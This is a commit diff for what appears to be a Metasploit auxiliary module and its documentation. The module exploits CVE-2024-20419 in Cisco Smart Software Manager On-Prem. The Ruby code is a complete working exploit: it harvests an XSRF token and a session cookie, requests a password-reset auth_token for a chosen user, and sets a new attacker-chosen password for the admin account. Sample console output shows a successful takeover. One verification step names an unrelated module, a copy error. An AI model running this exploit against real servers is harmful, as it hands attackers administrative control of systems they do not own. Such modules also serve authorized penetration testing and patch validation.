Skip to content

Commit 8a72124

Browse files
committed
Code cleanup and error handling added
Code cleanup and error handling added
1 parent 4384d32 commit 8a72124

File tree

2 files changed

+70
-51
lines changed

2 files changed

+70
-51
lines changed
Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
## Vulnerable Application
22

3-
This module exploits an account takeover vulnerability in Cisco SSM On-Prem <= 8-202206 (CVE-2024-20419), by changing the password of the
4-
admin user.
3+
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206 (CVE-2024-20419),
4+
by changing the password of the admin user.
55

66
The vendor published an advisory [here]
77
(https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy). The original research blog
@@ -16,42 +16,40 @@ Deploy it by following the vendor's [installation guide]
1616

1717
**Successfully tested on**
1818

19-
- Cisco Smart Software Manager v8-202206.
19+
- Cisco Smart Software Manager (SSM) On-Prem v8-202206.
2020

2121
## Verification Steps
2222

23-
1. Deploy Cisco Smart Software Manager v8-202206
23+
1. Deploy Cisco Smart Software Manager (SSM) On-Prem v8-202206
2424
2. Start `msfconsole`
2525
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
2626
4. `set RHOSTS <IP>`
27-
5. `set NEW_PASSWORD <password>`
28-
6. `run`
29-
7. A new password should have been set for the admin account.
27+
5. `run`
28+
6. A new password should have been set for the admin account.
3029

3130
## Options
3231

32+
### USER
33+
The user of which the password should be changed (default: admin)
3334
### NEW_PASSWORD
3435
Password to be used when creating a new user with admin privileges.
3536

3637
## Scenarios
3738

38-
Running the module against Smart Software Manager v8-202206 should result in an output
39+
Running the module against Smart Software Manager (SSM) On-Prem v8-202206 should result in an output
3940
similar to the following:
4041

4142
```
4243
msf6 > use auxiliary/admin/http/cisco_ssm_onprem_account
4344
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200
44-
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set SSL true
4545
msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > exploit
4646
[*] Running module against 192.168.137.200
4747
48-
[*] Starting workflow...
49-
[+] Server reachable.
50-
[*] xsrf_token: B%2BxNjt72KTh%2BW%2FYhUkSFpTKE5uM1NUkZdBMkle5C1DDpr9P9lPyPDN556BImuPHfSsdy4W4blO8R%2BvtX%2FLK%2B1A%3D%3D
51-
[*] xsrf_token: B+xNjt72KTh+W/YhUkSFpTKE5uM1NUkZdBMkle5C1DDpr9P9lPyPDN556BImuPHfSsdy4W4blO8R+vtX/LK+1A==
52-
[*] _lic_engine_session: f517481befa8b1a7cddcb1d755b8163c
53-
[+] Server reachable.
54-
[*] auth_token: 21bf4695d594af3bd5f0f07db2ce8f09f29abe6f9295e2649e3fa5f266ada2a1
5548
[+] Server reachable.
49+
[+] Retrieved XSRF Token: RAjYUE7aNosSoXUHQu3S2VWj2h+t5ioGFCV8PwMIkNIkX15f1H10sJJY5V1yTG6tsSkhonOIr2lI3VhseclCRw==
50+
[+] Retrieved _lic_engine_session: 22b193146b9071bbf695182f22bfcb09
51+
[+] Retrieved auth_token: 73e63ab74a07d9d4099d0c9918c21ceaad1c2db94058b32aa6d990178dbe13b5
52+
[+] Password for the admin user was successfully updated: Epd45bZ9OCJIFiEr!
53+
[+] Login at: http://192.168.137.200:8443/#/logIn?redirectURL=%2F
5654
[*] Auxiliary module execution completed
5755
```

modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb

Lines changed: 56 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,10 @@ def initialize(info = {})
55
super(
66
update_info(
77
info,
8-
'Name' => 'Cisco SSM On-Prem Account Takeover (CVE-2024-20419)',
8+
'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)',
99
'Description' => %q{
10-
This module exploits an account takeover vulnerability in Cisco SSM On-Prem <= 8-202206, by changing the
11-
password of the admin user to an attacker-controlled one..
10+
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206, by changing the
11+
password of an existing user to an attacker-controlled one.
1212
},
1313
'Author' => [
1414
'Mohammed Adel', # Discovery and PoC
@@ -21,7 +21,8 @@ def initialize(info = {})
2121
],
2222
'DisclosureDate' => '2024-07-20',
2323
'DefaultOptions' => {
24-
'RPORT' => 8443
24+
'RPORT' => 8443,
25+
'SSL' => 'True'
2526
},
2627
'License' => MSF_LICENSE,
2728
'Notes' => {
@@ -33,19 +34,24 @@ def initialize(info = {})
3334
)
3435

3536
register_options([
36-
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)])
37+
OptString.new('NEW_PASSWORD', [true, 'New password for the specified user', Rex::Text.rand_text_alphanumeric(16) + '!']),
38+
OptString.new('USER', [true, 'The user of which to change the password of (default: admin)', 'admin'])
3739
])
3840
end
3941

40-
def run
41-
# 1) Request oauth_adfs
42-
print_status('Starting workflow...')
42+
def decode_url(encoded_string)
43+
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
44+
[::Regexp.last_match(1).to_i(16)].pack('C')
45+
end
46+
end
4347

48+
def run
49+
# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
4450
res = send_request_cgi(
4551
'method' => 'GET',
4652
'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),
4753
'vars_get' => {
48-
'hostname' => 'AAAAA'
54+
'hostname' => Rex::Text.rand_text_alpha(6..10)
4955
}
5056
)
5157

@@ -64,27 +70,43 @@ def run
6470
# Extract XSRF-TOKEN value
6571
xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
6672
xsrf_token = xsrf_token_regex.match(raw_res)
67-
print_status('xsrf_token: ' + xsrf_token[1])
6873

69-
decoded_xsrf_token = decode_url(xsrf_token[1])
70-
print_status('xsrf_token: ' + decoded_xsrf_token)
74+
if xsrf_token
75+
xsrf_token_value = xsrf_token[1]
76+
if xsrf_token_value && !xsrf_token_value.empty?
77+
decoded_xsrf_token = decode_url(xsrf_token_value)
78+
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
79+
else
80+
fail_with(Failure::UnexpectedReply, 'XSRF Token value is null or empty.')
81+
end
82+
else
83+
fail_with(Failure::UnexpectedReply, 'XSRF Token not found')
84+
end
7185

7286
# Extract _lic_engine_session value
7387
lic_token_regex = /_lic_engine_session=([^;]*)/
7488
lic_token = lic_token_regex.match(raw_res)
75-
decoded_lic_token = decode_url(lic_token[1])
7689

77-
print_status('_lic_engine_session: ' + decoded_lic_token)
90+
if lic_token
91+
lic_token_value = lic_token[1]
92+
if lic_token_value && !lic_token_value.empty?
93+
print_good("Retrieved _lic_engine_session: #{lic_token_value}")
94+
else
95+
fail_with(Failure::UnexpectedReply, '_lic_engine_session value is null or empty.')
96+
end
97+
else
98+
fail_with(Failure::UnexpectedReply, '_lic_engine_session not found')
99+
end
78100

79-
# 2) generate_code
80-
payload = '{"uid": "admin"}'
101+
# 2) Request generate_code to retrieve auth_token
102+
payload = "{\"uid\": \"#{datastore['USER']}\"}"
81103

82104
res = send_request_cgi({
83105
'method' => 'POST',
84106
'ctype' => 'application/json',
85107
'headers' => {
86108
'X-Xsrf-Token' => decoded_xsrf_token,
87-
'Cookie' => "_lic_engine_session=#{decoded_lic_token}; XSRF-TOKEN=#{decoded_xsrf_token}"
109+
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
88110
},
89111
'uri' => normalize_uri(target_uri.path, '/backend/reset_password/generate_code'),
90112
'data' => payload
@@ -95,26 +117,27 @@ def run
95117
end
96118
case res.code
97119
when 200
98-
print_good('Server reachable.')
120+
json = res.get_json_document
121+
if json.key?('error_message')
122+
fail_with(Failure::UnexpectedReply, json['error_message'])
123+
elsif json.key?('auth_token')
124+
print_good('Retrieved auth_token: ' + json['auth_token'])
125+
end
99126
else
100127
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
101128
end
102129

103-
raw_res = res.body
130+
auth_token = json['auth_token']
104131

105-
auth_token_regex = /"auth_token":"([^"]*)"/
106-
auth_token = auth_token_regex.match(raw_res)
107-
print_status('auth_token: ' + auth_token[1])
108-
109-
# 3) reset_password
110-
payload = "{\"uid\": \"admin\", \"auth_token\": \"#{auth_token[1]}\", \"password\": \"Testbaaasab@123456780\", \"password_confirmation\": \"Testbaaasab@123456780\", \"common_name\": \"\"}"
132+
# 3) Request reset_password to change the password of the specified user
133+
payload = "{\"uid\": \"#{datastore['USER']}\", \"auth_token\": \"#{auth_token}\", \"password\": \"#{datastore['NEW_PASSWORD']}\", \"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\", \"common_name\": \"\"}"
111134

112135
res = send_request_cgi({
113136
'method' => 'POST',
114137
'ctype' => 'application/json',
115138
'headers' => {
116139
'X-Xsrf-Token' => decoded_xsrf_token,
117-
'Cookie' => "_lic_engine_session=#{decoded_lic_token}; XSRF-TOKEN=#{decoded_xsrf_token}"
140+
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
118141
},
119142
'uri' => normalize_uri(target_uri.path, '/backend/reset_password'),
120143
'data' => payload
@@ -123,19 +146,17 @@ def run
123146
unless res
124147
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
125148
end
149+
126150
case res.code
127151
when 200
128-
print_good('Server reachable.')
152+
json = res.get_json_document
153+
if json.key?('error_message')
154+
fail_with(Failure::UnexpectedReply, json['error_message'])
155+
else
156+
print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")
157+
print_good("Login at: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/logIn?redirectURL=%2F") end
129158
else
130159
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
131160
end
132-
133161
end
134-
135-
def decode_url(encoded_string)
136-
encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do
137-
[::Regexp.last_match(1).to_i(16)].pack('C')
138-
end
139-
end
140-
141162
end

0 commit comments

Comments
 (0)